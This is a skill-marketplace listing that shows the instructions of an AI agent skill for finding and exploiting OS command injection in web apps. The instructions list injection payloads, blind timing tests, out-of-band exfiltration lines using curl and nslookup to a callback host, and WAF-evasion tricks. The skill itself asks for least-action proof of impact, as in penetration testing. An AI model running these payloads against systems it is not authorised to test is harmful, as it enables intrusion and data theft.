OS command injection
SkillFiles & storageTurn user input that reaches a shell into arbitrary OS command execution. Load when a parameter feeds a system call, ping/nslookup/host tools, file conversion (ImageMagick, ffmpeg), archive/ export, PDF/thumbnail generation, filename handling, or any "network tools" feature. Signals: output that looks like command output, a value echoed into a system utility, blind time/OOB behaviour.
Use OS command injection in Claude, ChatGPT or Ahel Desktop
Free. Sign in, add OS command injection and connect your AI. About a minute.
Also: Claude Code · Cursor · Codex
Then ask your AI: use the OS command injection skill
Details
Instructions available. Your AI can read the instructions. Execution depends on the setup they require.
Account requirements not reviewed. Check the skill instructions before use; Ahel provides instructions and does not run this skill.
No other account needed.
Add Ahel to your AI once: Claude, ChatGPT, Cursor, Claude Code or Codex. Then ask it to use this.
What this skill tells your AI
The instructions your AI receives, as published by noorqureshi/sploitagent in skills/web/web-command-injection/SKILL.md and read by Ahel’s review.
When it applies
A parameter is concatenated into a shell command the server runs (a ping diagnostic, an
ImageMagick/ffmpeg convert, a tar/zip, a filename passed to a CLI). If the value reaches
/bin/sh -c unsanitised, you can append your own command.
Why it works
Building a command string from input and handing it to a shell means shell metacharacters keep their
meaning: ;, |, &&, $(), and backticks all start a new command in the same context (usually
the web user). The app never intended a second command — the shell can't tell the difference.
Method
Payloads & full variation set:
cheatsheet.mdnext to this file — work the set, not the first line.
- In-band test: inject
; id,| id,$(id),`id`, and newline (%0a id). Auid=…in the response confirms execution. - Blind (no output) — pick one channel:
- Time:
; sleep 10(or%0a ping -c 10 127.0.0.1) → response stalls ⇒ execution. - OOB:
; nslookup $(whoami).<your-interactsh>→ a DNS/HTTP callback proves it and exfils.
- Time:
- Get output when blind: redirect into a web-readable path, or exfil via the OOB channel
(
curl http://oob/$(id|base64)). - Bypass filters:
$IFS/${IFS}for spaces, quotes to split keywords (w'h'o'am'i),$@/\, base64-decode-pipe, or wildcards for blocked paths. - Escalate to impact: least-action proof (a benign
id/OOB ping) — do not run destructive or data-exfil commands beyond what proves impact.
Gotchas
- Argument injection ≠ command injection: if you can't break out of the command but can add
flags (e.g.
-o,--output), that alone can be high impact — test it too. - A reflected
id-looking string might be echoed, not executed — confirm with time or OOB. - WAFs flag
;/|; the$IFS/quote/encoding tricks above are for evasion, not novelty.
Verify success
A controlled command runs: id/hostname in the response, a measurable sleep delay, or an OOB
callback carrying command output — reproducible, from a clean request.
References
PortSwigger OS command injection; PayloadsAllTheThings Command Injection; GTFOBins (argument abuse).
Signals
- GitHub stars
- 20
- Forks
- 7
- Last commit
- Sep 2026
Advanced
- Item type
- skill
- Key
web-command-injection- Source
- github.com/noorqureshi/sploitagent
github.com/noorqureshi/sploitagent
Related picks
Skill · jeremylongshore
The pick for Web (OWASP)owasp-security
Skill · davila7
The pick for Web (OWASP)pptx
Skill · anthropics
More in Files & storagedocx
Skill · anthropics
More in Files & storageresearch
Skill · mattpocock
More in Files & storageto-tickets
Skill · mattpocock
More in Files & storage